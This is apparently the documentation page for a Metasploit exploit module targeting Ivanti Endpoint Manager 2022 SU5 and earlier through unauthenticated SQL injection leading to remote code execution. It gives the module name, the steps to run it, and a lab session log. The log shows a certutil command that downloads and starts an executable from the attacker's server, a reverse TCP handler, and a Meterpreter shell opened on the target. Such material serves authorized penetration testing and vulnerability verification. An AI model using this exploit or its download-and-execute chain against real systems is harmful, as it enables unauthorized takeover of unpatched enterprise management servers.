## Vulnerable Application

Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to
unauthenticated SQL injection which can be leveraged to achieve unauthenticated
remote code execution.

### Installation
Download and run the installer of a vulnerable version of Ivanti Endpoint
Manager (EPM) from https://www.ivanti.com/resources/downloads. Note that a
service account with Ivanti is required.

## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use windows/http/ivanti_epm_recordgoodapp_sqli_rce`
1. Do: `exploit rhost=<remote host>`
1. You should get a session.

## Options

### DELAY
The delay to detect if the target is vulnerable using time-based SQLi in second (default: 5)

## Scenarios

This has been tested against EPM version 2021.1 and 2022 (no Service Update) on Windows Server 2019
```
msf exploit(windows/http/ivanti_epm_recordgoodapp_sqli_rce) > exploit verbose=true rhosts=192.168.101.130

[*] Command to run on remote host: certutil -urlcache -f http://192.168.101.40:8080/GgcI9uEq8wim98SvWzx8DQ %TEMP%\TXnDFJhrK.exe & start /B %TEMP%\TXnDFJhrK.exe
[*] Fetch handler listening on 192.168.101.40:8080
[*] HTTP server started
[*] Adding resource /GgcI9uEq8wim98SvWzx8DQ
[*] Started reverse TCP handler on 192.168.101.40:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if the target is vulnerable using time-based SQLi (delay=5
[*] Baseline query elapsed time: 0.5334880000445992
[*] Delayed query elapsed time: 5.020284999860451
[+] The target is vulnerable. SQLi executed
[*] Client 192.168.101.40 requested /GgcI9uEq8wim98SvWzx8DQ
[*] Sending payload to 192.168.101.40 (Microsoft-CryptoAPI/10.0)
[*] Client 192.168.101.40 requested /GgcI9uEq8wim98SvWzx8DQ
[*] Sending payload to 192.168.101.40 (CertUtil URL Agent)
[*] Sending stage (201798 bytes) to 192.168.101.40
[*] Meterpreter session 1 opened (192.168.101.40:4444 -> 192.168.101.40:64423) at 2024-06-20 10:50:21 +0200

meterpreter > getuid
Server username: NT Service\MSSQL$LDMSDATA
meterpreter > sysinfo
Computer        : WIN2019
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```
